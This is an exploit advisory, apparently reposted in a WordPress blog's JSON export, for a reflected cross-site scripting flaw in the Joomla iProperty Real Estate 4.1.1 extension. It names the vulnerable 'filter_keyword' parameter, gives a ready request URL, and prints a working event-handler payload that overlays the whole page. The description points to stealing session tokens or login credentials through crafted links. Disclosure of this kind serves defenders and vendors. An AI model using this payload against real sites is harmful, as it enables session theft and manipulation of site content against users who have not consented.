# Exploit Title: Joomla iProperty Real Estate 4.1.1 – Reflected XSS
\n# Exploit Author: CraCkEr
\n# Date: 29\/07\/2023
\n# Vendor: The Thinkery LLC
\n# Vendor Homepage: http:\/\/thethinkery.net
\n# Software Link: https:\/\/extensions.joomla.org\/extension\/vertical-markets\/real-estate\/iproperty\/
\n# Demo: https:\/\/iproperty.thethinkery.net\/
\n# Tested on: Windows 10 Pro
\n# Impact: Manipulate the content of the site<\/p>\n
## Greetings<\/p>\n
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
\nCryptoJob (Twitter) twitter.com\/0x0CryptoJob<\/p>\n
## Description<\/p>\n
The attacker can send to victim a link containing a malicious URL in an email or instant message
\ncan perform a wide variety of actions, such as stealing the victim’s session token or login credentials<\/p>\n
Path: \/iproperty\/property-views\/all-properties-with-map<\/p>\n
GET parameter ‘filter_keyword’ is vulnerable to XSS<\/p>\n
https:\/\/website\/iproperty\/property-views\/all-properties-with-map?filter_keyword=[XSS]&option=com_iproperty&view=allproperties&ipquicksearch=1<\/p>\n
XSS Payload: pihil”onmouseover=”alert(1)”style=”position:absolute;width:100%;height:100%;top:0;left:0;”f63m4<\/p>\n[-] Done<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Joomla iProperty Real Estate 4.1.1 – Reflected XSS # Exploit Author: CraCkEr # Date: 29\/07\/2023 # Vendor: The Thinkery LLC # Vendor Homepage: http:\/\/thethinkery.net # Software Link: https:\/\/extensions.joomla.org\/extension\/vertical-markets\/real-estate\/iproperty\/ # Demo: https:\/\/iproperty.thethinkery.net\/ # Tested on: Windows 10 Pro # Impact: Manipulate the content of the site ## Greetings The_PitBull, Raz0r, iNs, SadsouL, His0k4, …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45895","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45895","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=45895"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45895\/revisions"}],"predecessor-version":[{"id":45992,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45895\/revisions\/45992"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=45895"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=45895"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=45895"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}